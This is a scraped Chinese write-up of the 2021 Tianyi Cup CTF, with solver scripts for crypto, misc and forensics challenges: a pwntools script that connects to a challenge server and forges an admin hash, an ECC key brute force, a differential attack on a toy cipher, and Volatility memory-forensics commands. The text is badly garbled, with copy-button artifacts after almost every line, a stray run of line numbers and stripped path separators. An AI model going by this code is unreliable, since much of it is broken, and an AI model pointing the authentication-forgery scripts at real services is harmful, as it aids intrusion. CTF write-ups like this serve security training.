from ctypes import c_uint32 as uint32
复制代码
1
from struct import pack, unpack
复制代码
1
def Pow(end, sha):
复制代码
1
    table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz"
复制代码
1
    for a in table:
复制代码
1
        for b in table:
复制代码
1
            for c in table:
复制代码
1
                for d in table:
复制代码
1
                    s = (a + b + c + d).encode() + end.encode()
复制代码
1
                    if sha256(s).hexdigest() == sha:
复制代码
1
                        return a + b + c + d
复制代码
1

复制代码
1
def myhash(msg, identification):
复制代码
1
    delta = 0x9E3779B9
复制代码
1
    v0, v1 = map(uint32, unpack('>2I', msg))
复制代码
1
    k0, k1, k2, k3 = map(uint32, unpack('>4I', identification))
复制代码
1
    sm, delta = uint32(0), uint32(delta)
复制代码
1
    for i in range(32):
复制代码
1
        sm.value += delta.value
复制代码
1
        v0.value += ((v1.value << 4) + k0.value) ^ (v1.value + sm.value) ^ ((v1.value >> 5) + k1.value)
复制代码
1
        v1.value += ((v0.value << 4) + k2.value) ^ (v0.value + sm.value) ^ ((v0.value >> 5) + k3.value)
复制代码
1
    return pack('>2I', v0.value, v1.value)
复制代码
1

复制代码
1
def decrypt(msg, identification):
复制代码
1
    delta = c_int32(0xc6ef3720)
复制代码
1
    v0, v1 = map(uint32, unpack('>2I', msg))
复制代码
1
    k0, k1, k2, k3 = map(uint32, unpack('>4I', identification))
复制代码
1
    for i in range(32):
复制代码
1
        v1.value -= ((v0.value << 4) + k2.value) ^ (v0.value + delta.value) ^ ((v0.value >> 5) + k3.value)
复制代码
1
        v0.value -= ((v1.value << 4) + k0.value) ^ (v1.value + delta.value) ^ ((v1.value >> 5) + k1.value)
复制代码
1
        delta.value -= 0x9E3779B9
复制代码
1
    return pack('>2I', v0.value, v1.value)
复制代码
1
#https://www.icode9.com/content-1-1126418.html
复制代码
1
p=remote('8.134.37.86',24014)
复制代码
1
p.recvuntil(b'sha256(XXXX+')
复制代码
1
end=p.recv(16).decode()
复制代码
1
p.recvuntil(b' == ')
复制代码
1
sha=p.recvuntil('n')[:-1].decode()
复制代码
1
xxxx=Pow(end,sha)
复制代码
1
p.recvuntil(b'Give me XXXX:')
复制代码
1
p.sendline(xxxx.encode())
复制代码
1
p.recvuntil(b'Choice:n')
复制代码
1
p.sendline(b'0')
复制代码
1
p.recvuntil(b'I can hash for you')
复制代码
1
p.sendline(b'a'*16)
复制代码
1
userhash=p.recvuntil('n')[:-1]
复制代码
1
adminpass = b'Iamthesuperadmin'
复制代码
1
nounce=decrypt(userhash,b'a'*16)
复制代码
1
hasher=myhash(nounce,adminpass)
复制代码
1
p.recvuntil(b'Choice:n')
复制代码
1
p.sendline(b'1')
复制代码
1
p.recvuntil(b'Are you admin?')
复制代码
1
p.sendline(hasher)
复制代码
1
p.interactive()
复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346

2.baby_Geometry 

考察ecc加密,p选择的很小,可以直接枚举k获得私钥。

2021第二届“天翼杯”网络安全攻防大赛 Writeup by X1cT34m-小绿草信息安全实验室

提供了一个图片,发现是ECC算法,提供的阶数很小,可以直接爆破出密钥,解密脚本如下:

msg=[ 

[1872,4517], 

[226,2], 

[2267,970], 

[6239,241], 

[2859,3408], 

[5000,774], 

[1568,6031], 

[2879,587], 

[2579,2114], 

[2267,970], 

[1568,6031], 

[2879,587], 

[2267,970], 

[4070,5982], 

[5388,2334], 

[5873,5782] 

a = 1 

b = 5 

p = 6277 

E = EllipticCurve(GF(p), [a,b]) 

G = E([10,180]) 

k=381 

r=6 

for i in range(len(msg)): 

print(E(msg[i])-k*r*G))

得到明文msg:

转成文本

或者
p=6277
a=1
b=5
E=EllipticCurve(GF(p),[a,b])
G=E(10,180)
K=E(5756,864)
r=6
for i in range(G.order()):
    if K==i*G:
        k=i
        break
C2=r*G
x=[1872,226,2267,6239,2859,5000,1568,2879,2579,2267,1568,2879,2267,4070,5488,5873]
y=[4517,2,970,241,3408,774,6031,587,2114,970,6031,587,970,5982,2334,5782]
m=""
for i in range(16):
    C1=E(x[i],y[i])
    m+=chr((C1-k*C2)[0])
print(m)
print("flag{"+m+"}")

得到最终flag:

flag{GEoM3t2Yfo2YoUXD}

4.Crypto_mycipher

from hashlib import sha256 
import random 
from pwn import * 
from pwnlib.util.iters import bruteforce 
from struct import pack, unpack 
def g(v1,v2,x): 
    value = (v1+v2+x)%256 
    value = ((value<<3) | (value>>5)) &0xff 
    return value 
def f(value): 
    v1,v2 = unpack('>2B',pack('>H',value)) 
    v2 = g(v1,v2,1) 
    v1 = g(v1,v2,0) 
    value = unpack('>H',pack('>2B',v1,v2)) 
    return value[0] 
def decrypt_ecb(cipher,key): 
    msg = '' 
    for i in range(0,len(cipher),4): 
        msg += decrypt(cipher[i:i+4],key) 
    return msg.strip('x00')   
def decrypt(msg,key): 
    subkeys = unpack('>4H',key) 
    left,right = unpack('>2H',msg) 
    left = right^left 
    for i in range(3): 
        left,right = right,left 
        left = left^f(subkeys[2-i]^right) 
    right = right^subkeys[3] 
    return pack('>2H', left, right) 
def encrypt_ecb(msg,key): 
    l = len(msg) 
    if l%4 !=0: 
        msg = msg+'x00'*(4-(l%4)) 
    cipher = '' 
    for i in range(0,len(msg),4): 
        cipher += encrypt(msg[i:i+4],key) 
    return cipher 
def encrypt(msg,key): 
    subkeys = unpack('>4H',key) 
    left,right = unpack('>2H',msg) 
    right = right^subkeys[3] 
    for i in range(3): 
        tmp = left^f(subkeys[i]^right)  
        left = right 
        right = tmp 
    left = right^left 
    return pack('>2H', left, right) 
def dfa_f(): 
    for i in range(1000): 
        input1 = random.randint(0,0xffff) 
        output1 = f(input1) 
        input2 = input1^0x8080 
        output2 = f(input2) 
        assert(output1^output2 == 0x400) 
def genpayload1(num): 
    payload = '' 
    for i in range(num): 
        data1 = random.randint(0,0xffff) 
        data2 = random.randint(0,0xffff) 
        data2diff = data2^0x8080 
        payload += pack('>2H',data1,data2)  
        payload += pack('>2H',data1,data2diff)  
    return payload 
def genpayload2(num): 
    payload = '' 
    for i in range(num): 
        data1 = random.randint(0,0xffff) 
        data2 = random.randint(0,0xffff) 
        data2diff = data2^0x400 
        payload += pack('>2H',data1,data2)  
        payload += pack('>2H',data1,data2diff)  
    return payload  
def testkey_round3(pairs,key): 
    for pair in pairs: 
        output1 = pair[0] 
        output2 = pair[1] 
        output1_0,output1_1 = unpack('>2H',output1) 
        output2_0,output2_1 = unpack('>2H',output2) 
        f_out_diff = output1_1 ^ output2_1 ^0x400 
        f_in1 = key^output1_0^output1_1 
        f_in2  = key^output2_0^output2_1 
        if(f(f_in1)^f(f_in2)==f_out_diff): 
            continue 
        else: 
            return False 
    return True 
def testkey_round2(pairs,key,r3key): 
    for pair in pairs: 
        output1 = pair[0] 
        output2 = pair[1] 
        output1_0,output1_1 = unpack('>2H',output1) 
        output2_0,output2_1 = unpack('>2H',output2) 
        output1_r3_1 = output1_0^output1_1  
        output2_r3_1 = output2_0^output2_1 
        f_out_diff  = output1_r3_1^output2_r3_1^0x400 
        f_in1 = key^output1_1^f(r3key^output1_r3_1)   
        f_in2  = key^output2_1^ f(r3key^output2_r3_1) 
        if(f(f_in1)^f(f_in2)==f_out_diff): 
            continue 
        else: 
            return False 
    return True 
def attack_round1(msg,cipher,keys): 
    ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] 
    msgs = [msg[i:i+4] for i in range(0,len(msg),4)] 
    c = ciphers[0] 
    m = msgs[0] 
    output0,output1 = unpack('>2H',c) 
    output0 = output0^output1 
    input0,input1 = unpack('>2H',m) 
    candkeys = [] 
    for key in keys: 
        r2k,r3k = key 
        output_r2_1 = output0 
        output_r2_0 = output1^f(r3k^output0) 
        output_r1_1 = output_r2_0  
        output_r1_0 = output_r2_1^f(r2k^output_r2_0) 
        k0 = output_r1_0^input1 
        for k in range(0x10000): 
            f_in = k^output_r1_0 
            f_out = output_r1_1^input0  
            if f(f_in) == f_out: 
                candkeys.append([k,r2k,r3k,k0]) 
    return candkeys 
def attack_round2(msg,cipher,keys): 
    ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] 
    cipher_pairs = [(ciphers[i],ciphers[i+1]) for i in range(0,len(ciphers),2)] 
    candkeys = [] 
    for r3k in keys: 
        for key in range(0x10000): 
            if testkey_round2(cipher_pairs,key,r3k): 
                candkeys.append([key,r3k]) 
    return candkeys 
def attack_round3(msg,cipher): 
    ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] 
    cipher_pairs = [(ciphers[i],ciphers[i+1]) for i in range(0,len(ciphers),2)] 
    candkeys = [] 
    for key in range(0x10000): 
        if testkey_round3(cipher_pairs,key): 
            candkeys.append(key) 
    return candkeys     
def exploit(): 
    con = remote('127.0.0.1',10005) 
    context.log_level = 'debug' 
    con.recvuntil("XXXX+") 
    d = con.recvuntil(")")[:-1] 
    con.recvuntil(" == ") 
    target = con.recvline().strip() 
    ans = bruteforce(lambda x: sha256(x+d).hexdigest() == target,string.letters+string.digits,4) 
    con.sendlineafter("Give me XXXX",ans) 
    con.recvuntil('is:') 
    flag = con.recvline().strip() 
    payload = genpayload1(6)+genpayload2(6) 
    con.sendlineafter(':',payload) 
    cipher = con.recv(len(payload)) 
    cipher_round3 = cipher[:48] 
    msg_round3 = payload[:48] 
    possible_keys = attack_round3(msg_round3,cipher_round3) 
    print 'round3 keys maybe:', possible_keys 
    cipher_round2 = cipher[48:96] 
    msg_round2 = payload[48:96] 
    possible_keys = attack_round2(msg_round2,cipher_round2,possible_keys) 
    print 'round2 keys maybe:', possible_keys 
    possible_keys = attack_round1(msg_round2,cipher_round2,possible_keys) 
    print 'round1&0 keys maybe:',possible_keys 
    for key in possible_keys: 
        real_key = pack('>4H',*key) 
        print 'decrypt with key ',repr(real_key) 
        print repr(decrypt_ecb(flag,real_key)) 
    con.close() 
def exploit_local(): 
    key = os.urandom(8) 
    print repr(key) 
    payload = genpayload1(6)+genpayload2(6) 
    cipher = encrypt_ecb(payload,key) 
    cipher_round3 = cipher[:48] 
    msg_round3 = payload[:48] 
    possible_keys = attack_round3(msg_round3,cipher_round3) 
    print 'round3 keys maybe:', possible_keys 
    cipher_round2 = cipher[48:96] 
    msg_round2 = payload[48:96] 
    possible_keys = attack_round2(msg_round2,cipher_round2,possible_keys) 
    print 'round2 keys maybe:', possible_keys 
    possible_keys = attack_round1(msg_round2,cipher_round2,possible_keys) 
    print 'round1&0 keys maybe:',possible_keys 
    flag = 'flag{test}' 
    flag = encrypt_ecb(flag,key) 
    print decrypt_ecb(flag,key) 
    for key in possible_keys: 
        real_key = pack('>4H',*key) 
        print 'decrypt with key ',repr(real_key) 
        print repr(decrypt_ecb(flag,real_key)) 
exploit()   

Misc

1.Login签到

签到就是加入QQ群,群公告里面有

FLAG

flag{e7gRR32wJJcHwQjwc2k9qFZ6fvn3gZ8P}

2.baby_Geometry

ECC

参考

https://blog.csdn.net/sitebus/article/details/82835492

复制代码
1
from sage.all import *

a = 6277
x = 1
y = 5
EC = EllipticCurve(Zmod(a), [x, y])
G = EC(10, 180)
P = EC(5756, 864)
r = 6
lists = [
(1872, 4517),
(226, 2),
(2267, 970),
(6239, 241),
(2859, 3408),
(5000, 774),
(1568, 6031),
(2879, 587),
(2579, 2114),
(2267, 970),
(1568, 6031),
(2879, 587),
(2267, 970),
(4070, 5982),
(5488, 2334),
(5873, 5782)
]
m = []
for c in lists:
C = EC(c)
M = C - r * P
m.append(M[0])
print("flag{" + bytearray(m).decode() + "}")

3.rrrgggbbb

RGB最低位隐写

三个通道都隐藏了信息,直接stegsolve将其提取出来,发现三个文件头有相似结构,

根据题目提示以及已有可见字符,可以推断组合方式就是r->g->b顺序按字节轮流填充即可

复制代码
1
r = open("r","rb").read()
g = open("g","rb").read()
b = open("b","rb").read()

length = len(r)
print(len(r),len(g),len(b))
file = open("flag","wb+")
for i in range(length):
file.write(r[i].to_bytes(1,byteorder='little',signed=False))
file.write(g[i].to_bytes(1,byteorder='little',signed=False))
file.write(b[i].to_bytes(1,byteorder='little',signed=False))


file.close()
复制代码
1
或者
复制代码
1
with open(r'f:share20210923r.dat','rb') as f1: 
复制代码
1
    data1=f1.read()[:202] 
复制代码
1
with open(r'f:share20210923g.dat','rb') as f2: 
复制代码
1
    data2=f2.read()[:202] 
复制代码
1
with open(r'f:share20210923b.dat','rb') as f3: 
复制代码
1
    data3=f3.read()[:202] 
复制代码
1
data=b'' 
复制代码
1
for i in range(202): 
复制代码
1
    data+=bytes([data1[i],data2[i],data3[i]]) 
复制代码
1
print(data.hex()) 

发现是BPG格式文件,是一种特殊的图片,直接bpgview工具查看即可得到flag,工具链接

https://bellard.org/bpg/bpg-0.9.8-win64.zip

4.Browser

imageinfo发现是win7

提示默认浏览器

参考

https://blog.csdn.net/weixin_29811891/article/details/118350644

提取第一部分

复制代码
1
volatility -f Browser.raw --profile=Win7SP0x86 printkey -K "SOFTWAREMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoice"

得到MSEdgeHTM

第二部分grep搜

复制代码
1
filescan | grep Edge

得到版本号,92.0.902.78

桌面存在浏览器备份文件

dump后sqlite打开

复制代码
1
volatility -f Browser.raw --profile=Win7SP0x86 dumpfiles -Q 0x000000007d95f648 --dump-dir .

找num_visits最多的,拼接

MSEdgeHTM_92.0.902.78_https://weibo.com/login.php

md5后即为flag

或者

复制代码
1
.volatility.exe -f .Browser.raw --profile=Win7SP1x86_23418 printkey -K "Software MicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoice"

得到默认浏览器 MSEdgeHTM

复制代码
1
.volatility.exe -f .Browser.raw --profile=Win7SP1x86_23418 filescan

搜索 EdgeApplication 得到版本号 92.0.902.78

搜索 Web Database 文件并导出

复制代码
1
.volatility.exe -f .Browser.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x00000 0007d95f640 -D ./

修改后缀为.db 用 SQLite Database Browser 直接打开

得到浏览次数最多的网站

复制代码
1
https://weibo.com/login.php

组合再 md5 加密一下得到 flag

复制代码
1
2
MSEdgeHTM_92.0.902.78_https://weibo.com/login.php flag{a7de3bb43d18196f4ca5570aa8755db9}
复制代码
1
或者
复制代码
1
先是拿到
复制代码
1
1.默认浏览器(请给出在注册表中可证明它是默认浏览器的对应的值,如:IE.HTTP)
复制代码
1
一般都在注册表,耐心翻翻
复制代码
1
./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist
复制代码
1
./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist -o 0x8f484880
复制代码
1
2
3
4
5
6
7
复制代码
1
看到追加到注册表的地址
复制代码
1
2
3
4
5
6
7
8
9
10
11
复制代码
1
然后去检索win7 的注册表
复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
复制代码
1
./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 dumpfiles -Q
复制代码
1
0x000000007da2abf0 -D ./
复制代码
1
2
3
4
5
6
7
复制代码
1
下载下来导入navicat
复制代码
1
2
3
4
5
6
7
复制代码
1
降序下然后就能看到
复制代码
1
https://weibo.com/login.php
复制代码
1
拼接
复制代码
1
MSEdgeHTM_92.0.902.78_https://weibo.com/login.php
复制代码
1
得到flag

Re

1.evvverse 

IDA打开定位main函数

发现程序先进行flag格式判断,然后RC4加密,后面又经过AES加密

这里有误导,其实不是des

动态调试获得key和iv,然后和固定字符串比较,因此对字符串先解AES,再解RC4即可得到正确的输入。

模拟程序加密流程验证如下:

参考链接:
  https://mp.weixin.qq.com/s/TE6KokKr9mpjGtQ9mOe2MQ
https://blog.csdn.net/qq_45603443/article/details/120475301?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.no_search_link

最后

以上就是细心冰淇淋最近收集整理的关于2021第二届“天翼杯”网络安全攻防大赛writeupPWNCryptoMisc的全部内容,更多相关2021第二届“天翼杯”网络安全攻防大赛writeupPWNCryptoMisc内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(80)

评论列表共有 0 条评论

立即
投稿
返回
顶部